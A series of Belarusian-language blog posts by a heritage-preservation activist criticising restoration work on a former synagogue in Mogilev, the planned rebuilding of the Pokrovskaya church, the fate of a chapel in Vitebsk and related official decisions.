Рэстаўрацыя ў выкананні трыё 11.11.2016

Зноўку пра Магілёў і некаторых магілёўцаў. Пры патуранні мясцовай улады заказчык прац на будынку былой сінагогі па Вялікай Грамадзянскай Дзмітрый Дудаль разам з геніяльным магілёўскім архітэктарам, пра якога ўсе чамусці думаюць, што ён яшчэ і рэстаўратар, Аляксандрам Сіваковым проста пазбаўляюць аб'ект якасных характарыстык.

Прасачыце па малюнках. Спачатку звярніце ўвагу, як павінен  выглядаць дэкор на вокнах паўднёвага фасаду малельнай залы і што фактычна зроблена. Адсутнічае дэкор і на вакне, і на ўваходным партале паўночанага фасаду (наступныя дзве пары малюнкаў). Мабыць, калі зробіяць ласку заказчык з архітэктарам, то з пенапласту налепяць.

Люкарну (круглае вакно) на ўсходнім забыліся выкласці, магчыма праз празіернае ўжыванне моцных напояў, іншай прычыны не бачу, чаму не заўважылі будаўнікі люкарну на чарцяжах, а архітэктр не заўважыў адсутнасць люкарны на аб'екце. Ну і як жа без гэтага самага. Без асноўнага ў рэстаўрацыі, без пластыкавых вакон. Іх запіхнулі ў жаночую частку сінагогі, ды не проста пластык, нават праігнаравалі. прадугледжаную для аднаўлення, гістарычную мадуляцыю ваконых пераплётаў, рамаў ваконных, адным словам.

Не хачу далей нават унікаць у тую "творчасць" тандэму Сівакоў-Дудаль, якая прывяла аб'ект да такога стану. Хачу заўважыць, што гэтай творчасці не было, каб не падтрымка гэтага брутальнага тандэму з боку канкрэтнай персоны, з боку першага намесніка старшыні гарвыканкама Аляксандра Пацёмкіна, пад прыкрыццём якога тандэм ігнаруе рэккамедацыі, ды і нават самога навуковага кіраўніка, прадпісанні Міністэрства культуры, пракуратуры, дзяржбулнагляду.

Так што вымалёўваецца ўжо не дуэт а трыё. Трыё даволі цікавага складу - прыватны прадпрымальнік, архітэктар, ён жа дырэктар прыватнай праектнай фірмы і даволі высокапастаўлены дзяржчыноўнік. Пры такім раскладзе можна заявіць з упэўненасцю на ўсе 100% - карупцыі ў Беларусі няма!



Зацемка з нагоды сучаснай журналістыкі 13.10.2016

Чарговы раз пра якасць навасных рэпартажаў нашага Белсату. Тэлефануе мне дзяўчонка нейкая, прадстаўляецца рэпартэркай Белсату і пытаецца пра маё меркаванне пра працы па рэканструкцыі Халоднай сінагогі ў Магілёве. Я ахранеў. Гэтая сінагога зруйнавана ў 30-х гг. 20 ст., і покуль планаў па яе аднаўленні няма, акрамя таго, што мы заклалі ў сваю канцэпцыю па рэгенерацыі Школішча.

Прыйшлося задаць канкрэтнае пытанне - пра які аб'ект усё ж такі гаворка. Пачала дзяўчонка тлумачыць, ну я і зразумеў, што гаворка пра аб'ект, які афіцыйна называецца «Былая жыдоўская школа», шыфр 513Г000018, па вул. В.Грамадзянская, 13 у г. Магілёве. Але насамарэч, гэта будынак малой сінагогі з ансамбля сінагагальнага двара на Школішчы.

Прыйшлося дзяўчонцы парэкамендаваць спачатку хаця б элементарна вывучыць пытанне і праблематыку, а потым ужо збіраць каментары, як спецыялістаў, так і зацікаўленых асобаў. Вось так СМІ працуюць, вось адсюль і якасць матэрыялаў, якая зачастую бывае ніжэй за плінтуса. А калі яшчэ даеш нейкі каментар для такога матэрыялу, то выглядаеш потым апошнім ідыётам.

І для інфармацыі. Фотаздымак знішчанай халоднай сінагогі і рэндэр з эскізнага праекта сінагогі малой, ці афіцыйна былой жыдоўскай школы. Рэпартэры розніцы паміж імі не бачаць, падумаеш, сінагога і ёсць сінагога.




Верхавенства права па-нашаму 10.10.2016

Будынак былой сінагогі па вул. Вялікай Грамадзянскай, 13 у Магілёве. Нягледзячы на прадпісанне Мінкультуры пра спыненне прац, будаўнічыя працы пры падтрымцы гарвыканкама працягваюцца. Ужо два тыдні, як інфармацыя пра парушэнні заканадаўства Генпракуратурай і Пракуратурай Магілёўскай вобласці перадалі матэрыял для рэагавання ў Пракуратуру Магілёва, але гэты наглядны орган аніякіх крокаў па нармалізацыі сітуацыі не прадпрымае.

І вось чарговы неадэкват. Усходні фасад будынка, фасад, які ўмоўна можна назваць алтарным, бо ў малельнай зале да ўсходняй сцяны мацаваўся Арон-кодэш - каўчэг, дзе захоўваліся скруткі Торы, які фактычна выконваў функцыю алтара ў сінагозе. Над Арон-кодэшам была люкарна (круглае вакно), якая была выяўлены пры правядзенні комплексных навуковых вышуканняў і пазначана ў эскізнай праектнай прапанове.

Вось на фотаздымках адзін з вынікаў прац без узгодненага архітэктурна-будаўнічага праекта, без экспертызы, без дазволу інспекцыі дзяржбуднагляду, без аўтарскага нагляду і пры поўным ігнараванні рэкамендацый навуковага кіраўніка з боку заказчыка і генпраектыроўшчыка. На ўсходняй сцяне рэстаўруемага аб'ёма малельнай залы люкарна адсутнічае. Праігнараваны вельмі істотны архітэктурна-канструктыўны элемент гістарычнага будынка.

Пры падтрымцы Магілёўскага гарвыканкама, пры папушчальніцтве пракуратуры ігнарюцца дзеючае заканадаўства, законыя патрабаванні ўпаўнаважанага органа дзяржкіравання, што прыводзіць да істотных зменаў ў аўтэнтычным выглядзе аб'екта. Вось Вам лакальны прыклад выканання заканадаўства, дакладней яго ігнаравання, і "высокай" прававой культуры беларускіх чыноўнікаў.

Звярнуўся ў Генпракуратуру паўторна. Але без спадзеву на станоўчы вынік.



Ідэялагічны фільтр 19.09.2016 2


У пятніцу, 23-га верасня, павінна адбыцца ганаровае адкрыццё мемарыяльнага знака на месцы былой сядзібы Жорнаўка ў в. Дубрава Асіповіцкага р-на. Праца пачыналася добра, з энтузіязмам, сумеснымі намаганнямі Беларускага добраахвотнага таварыства аховы помнікаў гісторыі і культуры, Асіповіцкага райвыканкама ды мясцовых краязнаўцаў.

Праведзены былі талокі па добраўпарадкаванню тэрыторыі, завезены і ўсталяваны валун, выраблена мемарыяльная шыльда, якую планавалася прымацавць да валуна напярэдадні святочнага дня. Поўным ходам ідзе падрыхтоўка мерапрыемства, якое планавалася, як сумеснае, з удзелам, як мясцовых калектываў, так і гасцей з Мінску.

У якасці сталічных гасцей разам з прадстаўнікамі Беларускага добраахвотнага таварыства аховы помнікаў гісторыі і культуры павінны былі прыняць удзел у мерапрыемстве нашыя навукоўцы і літаратары. Але... Сёння было тэлефанаванне з райвыканкама ад начальніка аддзела ідэялагічнай працы, культуры і па справах моладзі. І не проста тэлефанаванне, было сказана нашае цвёрдае: "Не!"

Не ўсім "не" было сказана, а нашым літаратарам - Леаніду Дранько-Майсюку, Эдуарду Акуліну, Змітру Бартосіку... Пытаюся: "У чым прычына? Мы ж, паслухаўшы радыё ды паглядзеўшы ТБ, жывем у свабоднай і дэмакратычнай краіне, гэтыя літаратары рэгулярна выступаюць у Беларусі на афіцыйных пляцоўках. Растлумачце, чаму іх не жадаеце бачыць?".

У адказ: "Ведаем мы тут на якіх пляцоўках яны выступаюць!". Далей дыскусія была ўжо бескарыснай. Прыйшлося афіцыйна заявіць, што Беларускае добраахвотнае таварыства аховы помнікаў гісторыі і культуры ў такім выпадку не ўдзельнічае ў мерапрыемстве. А так як мы не ўдзельнічаем, то і навукоўцы не прыедуць. А як мы можам удзельнічаць, калі на яго не дапускаюць сяброў Саюза беларускіх пісменнікаў, прадстаўнікоў нашай партнёрскай арганізацыі.

Не ведаю, якое будзе там мерапрыемства, бо днямі буду на радзіме і проста забяру мемарыяльную шыльду, якая зроблена (дзякуй Богу яшчэ не змантавана) збольшага за мае грошы. Адкрываць у такіх умовах мемарыяльны знак не лічым магчымым. Толькі на парытэтных пачатках, толькі з удзелам нашых прадстаўнікоў і прадстаўнікоў партнёрскіх арганізацый мы бачым магчымасць давесці справу да лагічнага фіналу.

Ну а на развітанне хачу канстатаваць. Ідэялагічная служба пастаўлена ў Беларусі на вышэйшым узроўні. Дзякуючы ёй мы застрахаваны ад усіх варожых вылазак, і ад шмат чаго яшчэ. У тым ліку і ад якаснай літаратуры.


Музейная рэфлексия 10.09.2016 1

Планаваў паехаць на сённяшнюю "Камяніцу", ды вырашыў пашкадаваць супрацоўнікаў Белдзяржмузея народнай архітэктуры і побыту. У сераду-чацвер быў у гэтым музеі на канферэнцыі, так гістэрыка здарылася ў тамашняга дырэктара, у Эдуарда Бгдановіча. Ён нават на павышаных танах наязджаў на падначаленых, што праглядзелі, праспалі, прасачыўся неяк Астаповіч на мерапрыемства.

Такая павага (баяцца, значыць паважаюць) да маёй персоны покуль зафіксавана толькі ў Панчанкі, загадчыцы кафедры архітэктуры і малюнка Брэсцкай палітэхніка. Для яе мая прысутнасць на іх канферэнцыях - нажом па сэрцу.

Тут нічога дзіўнага няма, бо як гавораць, чуе котка чыё сала з'ела. Калі гэтыя персоны не хочуць маёй прысутнасці, значыць ёсць такое, чаго не варта, каб мае вочы бачылі. А такія рэчы ёсць, іх я не замоўчаваю, а заўсёды агучваю, як агучыў на круглым стале канферэнцыі некаторыя "касякі" мерапрыества. А яны былі істотнымі.

Першы раз прымаў удзел у навукова-практычнай канферэнцыі, дзе ў раздатачных матэрыялах не было праграмы, калі рэгламентам увогуле не прадбачылася абмеркавання дакладаў, ніхто з арганізатараў канферэнцыі нават не падумаў пра распрацоўку праекта рэзалюцыі, каб абмеркаваць яе на круглым стале.

Ды яшчэ выказаў шэраг заўваг і прапаноў па інтэр'ерах царквы з в. Барань, якая пасля рэстаўрацыі ў чацвер была адкрыта пасля рэстаўрацыі на сектары "Падняпроўе", агучыў прапанову пра недапушчальнасць вываду з дзяржспіса помнікаў і абавязковае аднаўленне адрыны з в. Левановічы, якая ў музеі згарэла ў мінулым годзе, што ідзе ўразрэз з планамі пана Багдановіча.

Агучвалася гэта не толькі ў прысутнасці супрацоўнікаў музея, але і ў прысутнасці супрацоўнікаў Музея рольніцтва з Цеханаўца, скансэнаў з Вітаслаўліцаў, з Кіжаў. І, адпаведна, словы мае ўжо перададзены дырэктару музея, і ўяўляю яго рэакцыю на маю чарговую прысутнасць у музеі, і як ён зноў будзе свой негатыў выплёскваць на падначаленых. Вось таму і вырашыў застацца ў хаце.

А самае вясёлае, што адбылося пад час канферэнцыи, гэта калі дырэктар Багдановіч на адкрыцці царквы з в. Барань агучыў сакраментальную фразу: "А сейчас слово имеет священник". smile:)





Крывадушша ад "зялёных". 22.07.2016 1

У працяг тэмы па вайне з пабудовай касцёла ў Мінску. Гэтая праблема два месяцы таму выходзіла на медыйныя прасторы. Зараз з'явілася электроная петыцыя, якую Таццяна Новікава, адна з актывістак "зялёнага" грамадскага руху,  называе ні многа ні мала, як пошукам кампрамісу па пытанню будаўніцтва касцёла ў незабудаваным квартале ў Сельхозпасёлку. 
Самае цікаве, што петыцыя па сутнасці не дакмент з выкладзенымі аб'ектыўнымі аргументамі, а поўная фальсіфікацыя, заснаваная на нарматыўных прававых ды тэхнічных і горадабудаўнічых дакументах, якія даўно ўжо не дзейнічаюць.

Спасылаюцца на генплан 2003 г., а магі б лёгка саслацца на генплан 1946, чаго так не зрабілі, нават не ведаю. Я ўвогуле б на іх месцы спасылаўся б на нацысцкі генплан 1942 года. Гэта жарты, але для даведкі - зараз дзейнічае генплан, зацверджаны ў 2010-м г. Спасылаюцца на палажэнне аб грамадскім абмеркаванні, якое зацверджана ў 2006-м г. Мінгарвыканкамам, хаця з 2011-га ўжо дзейнічае палажэнне, зацверджаае Саўмінам, у якое ўнесены змены і дапаўненні ў 2014-м г. Не буду далей аналізаваць, бо і адной фальсіфікацыі, аднаго дробнага падману хапае, каб не звяртаць увагі на увесь дакумент.

І гэтая, прабачце мяне, ахінея, там дзе пастаўлена мэта аб тым, каб забраць зямельны ўчастак, крывадушна называецца пошукам кампрамісу. У каго ёсць сумленне ды здаровы сэнс, не ўдзельнічайце ў гэтых гульнях, не падпісваеце гэтую петыцыю.

Спецыяльна не даю спасылку на саму петыцыю. Не хачу нават ускосна рэкламаваць гэтую брудную гульню.

Ну і на заканчэнне,  ў працяг тэмы. Памятую так званыя змаганні супраць узвядзення гасцініцы "Пекін". Матывацыя мясцовых жыхароў была вельмі простая. Агучваю гэта, таму што менавіта ў гэты час з невялічкім актывам з унікальнага горадабудаўнічага ансамбля на рагу Чырвонаармейскай і Першамайскай пачалі працаваць па перспектывах надання статуса помніка дадзенаму ансамблю, ды і добрыя сябры на Лодачнай жывуць.

Так вось, жыхары навакольных дамоў ваяваць гатовы былі супраць "Пекіна" па вельмі простай прычыне. На тэрыторыі перспектыўнай будаўнічай пляцоўкі яны мелі незаконыя гароды - гуркі там, цыбулька, кроп ды іншая лабуда. У некаторых нават куратнічкі стаялі. 

Але ж мяне найбольш уразілі некаторыя нашыя грамадскія актывісты. Менавіта тыя, якія адным з найлепшых перыядаў лічаць акупацыйны з 1941 па 1944 годы, а партызан савецкіх называюць не інакш, як злачынцамі. Так шмат з іх, з гэтых актывістаў, у сваіх гнеўных каментарах у якасці аргументу супраць будаўніцтва агучвалі, што на перспектыўнай пляцоўцы "Пекіна" калісці быў іпадром, на якім адбыўся партызанскі парад пасля вызвалення Мінска.



Магілёўскае дойлідства і магілёўцы 29.01.2016 1



Прыходзіць у галаву думка. Зараз у Магілёве грамадскае абмеркаванне праекта аднаўлення Пакроўскай царквы, дзе вялікай задачай з'яўляецца пераканаць заказчыка і праектыроўшчыка, пра  неабходнасць аднаўлення  не толькі царквы, але і унікальнай культурнай з'явы - магілёўскай школы праваслаўнага дойлідства.

Як ні дзіўна, пра гэтую культурную з'яву шмат гавораць у Магілёве, разважаюць пра яе, але ніхто з мясцовых магілёўскіх даследчыкаў так і прааналізаваў яе, тым больш не зрабіў спробу зразумець магілёўскае праваслаўнае дойлідства 17 18 стст.  ў культурным кантэксце не толькі Магілёва, Беларусі, але і навакольных земляў.

 

Спробы зрабіць гэта, і менавіта ў прывязцы да перспектыўнага аднаўлення Пакроўскай царквы, былі зроблены спецыялістамі Беларускага добраахвотнага таварыства аховы помнікаў гісторыі і культуры пры распрацоўцы эскізнага праекта аднаўлення царквы і больш дасканала пры падрыхтоўцы да грамадскага абмеркавання праекта.

 

Матэрыялы па магілёўскай школе, а менавіта па дэкору франтонаў Пакроўскай царквы, дэкор франтонаў -  адна з вызначальных рысаў магілёўскага барока, былі апублікаваны на рэсурсах Таварыства, разасланы па СМІ і па шэрагу грамадскіх актывістаў, для шырокага распаўсюду сярод грамадства, у першую чаргу сярод магілёўцаў.

 

Вынік - з’явіліся сухія матэрыялы па грамадскаму абмеркаванню на падставе афіцыйнага праекта, на “Свабодзе” з’явіўся матэрыял па прэзентацыі праекта, дзе закраналася і праблема магчымай рэалізацыі пры аднаўленні царквы прапановы спецыялістаў нашага грамадскага аб’яднання па адраджэнні рэгіянальнай культурна з’явы, якая паўплывала на архітэктурную стылістыку далёка за межамі Беларусі.

 

І ўсё, маўчанне. Працуе толькі пара чалавек у Магілёве, каб паўплываць на сітуацыю. Праблема не падымаецца ў сродках масавай інфармацыі, самае цікавае, што маўчыць Магілёў грамадскі, Магілёў навуковы. Інфармацыя па праблеме не з’яўляецца,  самае цікавае няма інфармацыі на недзяржаўных магілёўскіх рэсурсах, якія не толькі арыентаваны, але і заснаваны  грамадскім актывам, які ў ў горадзе на Дняпры кашулі на сабе на словах рве за сваю архітэктурную спадчыну.

 

Сітуацыя сапраўды ўнікальная. Праблемамі Магілёва зацікаўлены і сапраўды хварэюць, і робяць спробы паўплываць на сітуацыю з культурным ланшафтам горада, хто заўгодна, толькі не магілёўцы. Па выніку атрымліваецца, што жыхарам гораду, у тым ліку і грамадска актыўным гараджанам,  напляваць на свій горад, на лёс яго спадчыны. А калі і заўважна нейкая імітацыя, то далей кухонных размоваў ды баталій ў сацыяльных  сетках  яна не разыходзіцца.

 

Як бы то ні было, але мы будзем працаваць у рэчышчы паляпшэння сітуацыі, у рэчышчы стварэння бездакорнага і прывабнага гісторыка-культурнага асяродку ў Магілёве, ды і не толькі ў Магілёве. А хто не хоча, той хай і не кранае праблему помнікаў. Не варты той спадчыны, хто да яе на самой справе абыякавы. Хай яны аднаўляюць Дубровенскую браму і жывуць шчасліва.



Ці адродзіцца традыцыя магілёўскага барока? 20.01.2016 6


У Магілёве праводзяць грамадскае абмеркаванне аб'екта: "Будаўніцтва комплексу будынкаў з аднаўленнем Свята-Пакроўскай царквы з рэстаўрацыяй і музеефікацыяй падмуркаў званіцы з добраўпарадкаваннем прылеглай тэрыторыі па вуліцы Вялікая Грамадзянская». Заказчыкам выступае Свята-Мікольскі жаночы манастыр.Эскізная  праектная  прапанова была распрацавана спецыялістамі Беларускага добраахвотнага таварыства аховы помнікаў гісторыі і культуры. Менавіта гэтыая праца становіцца лаўрэатам ХІ рэспубліканскага конкурса на лепшы архітэктурны праект ў намінацыі “рэстаўрацыя”. Прапанова была распрацавана на падставе комплексных навуковых вышуканняў і прадугледжвала аднаўленне царквы ў традыцыях магілёўскай архітэктурнай школы 17 – пач. 18 стст.

Па матэрыялах эскізнай прапановы,  архітэктурны праект, стадыя “АР”,  распрацаваны  ААТ “Магілёўграмадзянпраект”. Дадзеная распрацоўка прадугледжвае аднаўленне царквы ў выглядзе пасля перабудовы 1863 – 66 гг., калі ў выніку праведзеных прац былі знішчаны арыгінальныя рысы мясцовага магілёўскага барока, рэгіянальнага архітэктурнага стылю, які ў Магілёўскім Падняпроўі выкрышталізаваўся ў 17-м ст., а ў 18-м. з земляў Магілёўшчыны мясцовымі майстрамі быў прынесены на землі Кіеўшчыны і левабярэжнай Украіны, дзе стаў асновай для фарміравання так званага мазепінскага барока. Нават Барталамэа Растрэлі  выкарыстаў  матывы магілёўскага дэкору пры ўзвядзенні Успенскага сабору ў Смаленску.

Магілёўскі адметны архітэктурны стыль характэрызуецца крыжова-купальнай планіроўкай цэркваў, яруснымі франтонамі, якія былі дэкараваны нішамі.  Такія франтоны выконвалі функцыю сімвалічных вынасных вулічных іканастасаў, традыцыя гэта ў Беларусі практычна страчана, але гэтая ўнікльная з’ява да нашага часу бытуе на тэрыторыі Украіны, захаваліся роспісы нішаў і ў Смаленску, на франтоне галоўнага фасаду Успенскага сабора. Калісці цэрквы арыгінальнай маглёўскай школы былі распаўсюджаны ад Оршы і практычна да Быхава. У дадзены момант захавана толькі Свята-Мікольская царква ў Магілёве.

Аднаўленне Свята-Пакроўскай царквы ў стылістыцы магілёўскай рэгіянальнай школы барока – гэта не толькі адраджэнне страчанага архітэктурнага аб’екта, гэта адраджэнне культурнай з’явы, гэта адраджэнне традыцыі архітэктуры, генэзіс якой можна прасачыць яшчэ з часоў  рэнесансу, з пач. 16 стагоддзя.  Гэта праява еўрапейскага дойлідства, якое прыйшло да нас з Любліншчыны, а далей праз Вільню, Мінск  на падняпроўскія землі, дзе  ў Магілёве, трансфармавалася пад уплывам мясцовых культурных традыцый і нарадзіла ўнікальны стыль, які пазней распаўсюдзіўся далёка за межы Беларусі.

Грамадскае абмеркаванне праектнай прапановы ААТ “Магілёўграмадзянпраект” па аднаўленню царквы з завяршэннем франтонаў і даху ў класічным стылі  будзе праведзена Магілёўскім гарвыканкамам у перыяд з 23 студзеня па 16 лютага 2016 года. Экспазіцыя праекта будзе размешчана з 1 лютага 2016 у холе Магілёўскага гарвыканкама па адрасе: вул.Першамайская, 28а. Заўвагі і прапановы па рэалізацыі праекта накіроўваюцца ва ўпраўленне архітэктуры горадабудаўніцтва гарвыканкама. З умовамі грамадскага абмеркавання і графічнымі матэрыяламі праекта можна пазнаёміцца на сайце Магілёўскага гарвыканкама па наступнай спасылцы

21.01.2016 г. у Магілёўскі гарвыканкам будзе перададзена для разгляду і ўдзелу ў грамадскім абмеркаванні і праектная прапанова Беларускага добраахвотнага таварыства аховы помнікаў гісторыі і культуры, якая прадугледжае аднаўленне не толькі аб’ёму царквы, але і аднаўленне ўнікальнай культурнай з’явы – дэкору франтонаў і форм завяршэння даху царквы ў магілёўскім стылі, менавіта тых яскравых рысаў, якія і стварылі адметнасць магілёўскай праваслаўнай культавай архітэктуры ў 17 – пач. 18-га ст. Ад вынікаў абмеркавання залежыць адраджэнне практычна знішчанай традыцыі, адраджэнне страчанага культурнага ланшафту Магілёва, стварэнне пазітыўнага турыстычнага іміджу горада над Дняпром.

Не заставайцеся ўбаку, прымайце ўдзел у грамадскім абмеркаванні. Рабіце выбар, карыстаючыся не лакальнымі імгненнымі інтарэсамі, а дбаючы пра будучыню, якая можа быць збудавана пры ўмове захавання і адраджэння нашай спадчыны. Магілёў мае станоўчы вопыт адраджэння архітэктурных помнікаў. Амаль дзесяць год таму была адноўлена ратуша. І горад адразу змяніў свой твар, стаў іншым, стаў лепшым, больш прывабным. Давайце супольна зробім так, каб аднаўленне Свята-Пакроўскай царквы стала чарговым крокам па аднаўленні страчанага гістарычнага аблічча Магілёва, калісці аднаго з самых значных і прыгожых беларускіх гарадоў. Свята-Пакроўская царква – гэта агульны скарб, і нам рабіць выбар, ці стане адроджаны помнік сапраўдным нацыянальным скарбам.



Праектная прапанова Таварыства

Праектная прапанова “Магілёўграмадзянпраекта”

Прызначаны новы склад Грамадскай назіральнай камісіі па ахове гісторыка-культурнай спадчыны. 23.12.2015


08.05.2009 г. у выкананні Пастановы Савета Міністраў Рэспублікі Беларусь ад 22 лістапада 2008 г. № 1570 Загадам міністра культуры № 105 быў зацверджаны склад Грамадскай назіральнай камісіі пры Міністэрстве культуры Рэспублікі Беларусь па ахове гісторыка-культурнай спадчыны.

18.12.2015 г. на падставе загадзя пададзеных звестак ад грамадскіх аб’яднанняў, у статутных мэтах і задачах якіх прадугледжана дзейнасць па ахове помнікаў гісторыі і культуры, Загадам міністра культуры Рэспублікі Беларусь № 157 зацверджаны новы склад дадзенай камісіі, у які увайшла бальшыня старога складу.


Археалогія і энтузіязм народных мас 18.12.2015


Буду ўсё ж пісаць матэрыял па Указу № 485 "Аб удасканаленні аховы археалагічных аб’ектаў і археалагічных артэфактаў". І не толькі аналітычны, каб даслаць у шэраг дзяржорганаў свае заўвагі да гэтага дакумента. Буду пісаць і папулярны матэрыял, каб вынесці яго ў медыяпрастору. Прычына, што вырашыў крытычныя заўвагі вынесці ў шырокі доступ - простая. Нейкі неабгрунтаваны, проста шалёны энтузіязм народных мас.

Усе раптам сталі прыхільнікамі змагання за нашую археалагічную спадчыну. Я таксама двума рукамі і нагамі за яе захаванне. Але, чамусці на хвалі народнай эйфарыі зусім адсутнічае самае элементарнае - тэкст указа чыталі толькі адзінкі. У мяне такое ўражанне, што яго і журналісты не чыталі, якія зараз бравурна пішуць пра жалезную заслону чорным копарам, якія да зубоў узброены металадэтэктарамі, рыдлёўкамі, экскаватарамі і іншымі тэхнічнымі прыладамі.

А мне хочацца задаць адное пытанне. Шаноўнае панства, у нас ёсць законадаўства аб ахове гісторыка-культурнай спадчыны, якое не выконваецца, вельмі часта яно не выконваецца ці ігнаруецца органамі ўлады. У выніку мы страчваем помнікі архітэктуры, як кропкамі, а бывае ансамблямі. Па ўзгадненням афіцыйных археолагаў бывае знішчаюцца тысячы кубоў культурнага пласта разам з артэфактамі, пра якія зараз столькі гаворкі.

Мы страчваем свае культурныя ланшафты. І народ "безмолвствует". З'яўляецца раптам дакумент, які ўвогуле не ўплывае на сітуацыю, і народ "веселиться и ликует". Вось таму і трэба даносіць сутнасць новаспечанага дакумента да людзей, які, на маю, і не толькі на маю,  думку, з'яўляецца чыстай імітацыяй клопату пра нашыя гісторыка-культурныя скарбы, ды яшчэ адцягвае ўвагу ад больш актуальнай праблемы.

Капліца Дуніных-Слепсцяў у Віцебску. Перспектывы і магчымасці. 20.11.2015 1


Капліца на здымку сяр. 20 ст.

18 і 19 лістапада адбыўся выезд прадстаўнікоў Беларускага добраахвотнага таварыства аховы помнікаў гісторыі і культуры ў Віцебск па пытанні захавання і рэстаўрацыі капліцы-пахавальні Дуніных-Слепсцяў сяр. 19 ст., якая знаходзіцца на тэрыторыі батанічнага саду Віцебскага дзяржаўнага унівесітэту.

Як павдамлялася раней, грамадскае аб’яднанне пісьмова звярталася ў мясцовыя выканаўчыя органы і да кіраўніцтва універсітэта з прапановамі па захаванні і аднаўлення гістарычнага будынка, які, на жаль, не мае статуса гісторыка-культурнай каштоўнасці.

У межах дадзеных прапаноў і адбыўся працоўны выезд, пад час якога праведзены натурныя вышуканні на аб’екце, адбылася сустрэча прадстаўнікоў Таварыства з кіраўніцтвам універсітэта з удзелам прадстаўнікоў аблвыканкама і гарвыканкама.

На сустрэчы абмеркаваны праблемы захавання, рэстўрацыі і функцыянальнага прызначэння былой капліцы, дасягнута дамоўленасць аб каардынацыі дзеяняў у названым накірунку і перспектыўныя накірункі супрацы па рэгенерацыі гістарычнага будынка, які ў будучым можа стаць адным з прыцягальных гісторыка-культурных аб’ектаў Віцебска.

На вялікі жаль, нягледзячы на жаданне прадстаўнікоў Таварыства і праведзеную падрыхтоўчую працу, так і не адбылася сустрэча з кіраўніцтвам Віцебскай дыяцэзіі рыма-каталіцкага касцёлу.

Галоўны фасад капліцы

Бакавы фасад каліцы

Крыпта капліцы

Абмерачныя кракі

Месцаразмяшчэнне капліцы на плане Віцебска 1941 г.



http://pomniki.budzma.org/news/kaplica-duninykh-slyepscyaw-u-vicyebsku-pyerspyektyvy-i-mahchymasci

Ці захаваецца капліца? 04.11.2015 4


У г. Віцебску, па вул. Урыцкага, 45, знаходзіцца двухпавярховы будынак – перабудаваная капліца Дунінаў-Слепсцяў 1859 г. пабудовы. Будынак знаходзіцца на балансе Віцебскага дзяржаўнага універсітэту і плануецца пад дэмантаж, як аварыйны. Рамонт будынка па выніках інжынерна-тэхнічных вышуканняў прызнаны немэтазгодным, бо яго ўладальнік не валодае сродкамі, патрэбнымі, згодна папярэднему каштарысу, на капітальны рамонт дадзенага збудавання.

Грамадскае аб’яднанне “Беларускае добраахвотнае таварыства аховы помнікаў гісторыі і культуры звярнулася да кіраўніцтва Віцебскай вобласці, Віцебскага дзяржаўнага універсітэта і Віцебскага гарвыканкама с просьбай разгледзіць магчымасць перадачы нашаму грамадскаму аб’яднанню будынка па вул. Урыцкага, 45 у г. Віцебску, як неэфектыўна выкарыстоўваемую маёмасць.

Таварыства прымае на сябе абавязак распрацаваць уласным коштам разам са сваімі партнёрамі праектна-каштарысную дакументацыю па рэстаўрацыі і рэканструкцыі будынка, распрацаваць канцэпцыю яго функцыянальнага прызначэння, арганізаваць збор спонсарскіх пазабюджэтных сродкаў для фінансавання прац па рэканструкцыі і рэстаўрацыі будынка, паралельна з арганізацыяй дадзеных прац.

Ужо на стадыі разгляду запыта Беларускага добраахвотнага таварыства аховы помнікаў гісторыі і культуры па перадачы на яго баланс буданка былой капліцы Дунінаў-Слепсцяў 1859 г. спецыялісты архітэктурнай секцыі грамадскага аб’яднання гатовыя распрацаваць напрацягу каляндарнага месяца перадпраектную інвестыцыйную прапанову рэстаўрацыі і рэканструкцыі будынка і ўзгадніць дадзеную прапанову з кіраўніцтвам вобласці, унівесітэта і горада.



http://pomniki.budzma.org/news/tsi-zakhavayecca-kaplica


Зноўку дзеля галачкі? 07.10.2015 1


Дзеля гэтых карцінак, якія называюцца “Прапановай грамадскасці па рэгенерацыі гістарычнага цэнтру Полацка” сабралі нараду сёння ў Нацыянальным мастацкім музеі на ўзроўні намесніка міністра культуры, начальніка упраўлення па ахове гісторыка-культурнай спадчыны, прарэктара Полацкага дзяржаўнага універсітэта, навуковага кіраўніка гістарычнага цэнтра Полацка, спецыялістаў у сферы горадабудаўніцтва, сяброў Грамадскай назіральнай камісіі пры Міністэрстве культуры па ахове гісторыка-культурнай спадчыны, профільных грамадскіх аб’яднанняў.
Гэтую нараду ініцыяваў аўтар прапаноў, нехта Уладзімір Цялежнікаў, ён жа і грамадскасць у адной асобе, А ініцыятыву падтрымаў Беларускі фонд культуры, Беларускае аддзяленне ІКАМОС, кіраўніком якіх з’яўляецца Уладзімір Гілеп і старшыяня Грамадскай камісіі па ахове спадчыны Анатоль Бутэвіч. Далей пра прапановы і пра арганізацыю мерапрыемства.

Справа нават не ў якасці матэрыялаў. Хаця прадстаўленыя прапановы, распрацаваная Цялежнікавым, проста не вытрымліваюць крытыкі з пункту гледжання заканадаўства, тэхнічных нормаў і правіл, методык прац на гістарычных гарадскіх тэрыторыях. Зараз, калі пачну ўсё пералічаць, то да ночы прыдзецца сядзець, каб на паперы выкласці заўагі, ды яшчэ прыдзецца наступаць на горла ўласнай песне, бо вельмі хочацца проста матам.

З самага пачатку, як паведамілі пра гэтае мерапрыемства, я выказваў свой скепсіс у адносінах да яго і сакратару грамадскай назіральнай камісіі, і старшыні Беларускага фонду культуры. Вельмі хацелася загадзя пазнаёміцца з матэрыяламі прапаноў, бо, як адчуваў, што нешта тут не так, але мяне запэўнілі, што я павінен прысці на абмеркаванне, што там пазнаёмлюся з матэрыяламі, і гэта гаварылася ў ключы, падтрымкі ініцыятывы, паведамлялася, што сярод аўтараў прапаноў прысутнічае нават Дзяніс Дук, полацкі археолаг, ён жа прарэктар мясцовага універсітэта. Як потым высветлілася, Дук увогуле сам ў шоке ад прадстаўленых прапаноў і не мае да іх аніякіх адносін.

Ну і сёння, я поўны энтузіязма пасунуўся ў мастацкі музей на пасяджэнне. І што? Ды нічога. Палова дня сабаку пад хвост. Пра якасць матэрыяла я ўжо гаварыў, таму праглядзеўшы прадстаўленую прэзентацыю, праглядзеўшы друкаваную версію, падняўся, сказаў, што пра прапановы і пра арганізаваны балаган думаю і сыйшоў па справах. Згублена палова дня. Не толькі ў мяне. Згублена палова дня ў шэрага спецыялістаў, у дзяржаўных служачых. А вынік? Вынік аніякі. Няўжо арганізатарам гэтага, так званага абмеркавання, адразу не было зразумела, што абмяркоўвацца будзе чарговы неадэкват, заснаваны на амбіцыях і жаданні трошку адшчыкнуць ад дзяржаўнага бюджэта, калі раптам нешта будзе вылучана на рэалізацыю прапаноў.

